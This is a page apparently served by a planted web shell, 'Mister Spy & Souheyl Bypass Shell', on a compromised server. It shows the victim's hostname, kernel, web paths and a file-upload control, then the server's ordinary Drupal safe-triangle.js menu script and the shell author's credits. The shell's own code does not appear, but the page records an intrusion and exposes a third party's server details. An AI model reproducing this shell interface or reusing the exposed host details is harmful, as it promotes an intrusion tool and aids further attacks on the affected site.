Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/core/modules/navigation/js/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/core/modules/navigation/js/safe-triangle.js

/**
 * @file
 *
 * Element that improves sub-menu UX by implementing the Safe Triangle strategy.
 * @see https://www.smashingmagazine.com/2023/08/better-context-menus-safe-triangles
 */

((Drupal, once) => {
  /**
   * Update CSS variables values for positioning the safe triangle element.
   *
   * @param {CSSStyleDeclaration} style
   *   Style property of the parent button.
   * @param {number} clientX
   *   Horizontal position relative to the element.
   * @param {number} clientY
   *   Vertical position relative to the element.
   */
  function handleMouseMove({ currentTarget: { style }, clientX, clientY }) {
    style.setProperty('--safe-triangle-cursor-x', `${clientX}px`);
    style.setProperty('--safe-triangle-cursor-y', `${clientY}px`);
  }

  /**
   * Attaches the safe triangle behavior to all required triggers.
   *
   * @type {Drupal~behavior}
   *
   * @prop {Drupal~behaviorAttach} attach
   *   Attaches the safe triangle behavior.
   * @prop {Drupal~behaviorDetach} detach
   *   Removes the safe triangle element.
   */
  Drupal.behaviors.safeTriangleInit = {
    attach: (context) => {
      once('safe-triangle', '[data-has-safe-triangle]', context).forEach(
        (button) => {
          button.insertAdjacentHTML(
            'beforeend',
            '<div data-safe-triangle></div>',
          );
          button.addEventListener('mousemove', handleMouseMove);
        },
      );
    },
    detach: (context, settings, trigger) => {
      if (trigger === 'unload') {
        once
          .remove('safe-triangle', '[data-has-safe-triangle]', context)
          .forEach((button) => {
            button.querySelector('[data-safe-triangle]')?.remove();
            button.removeEventListener('mousemove', handleMouseMove);
          });
      }
    },
  };
})(Drupal, once);

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net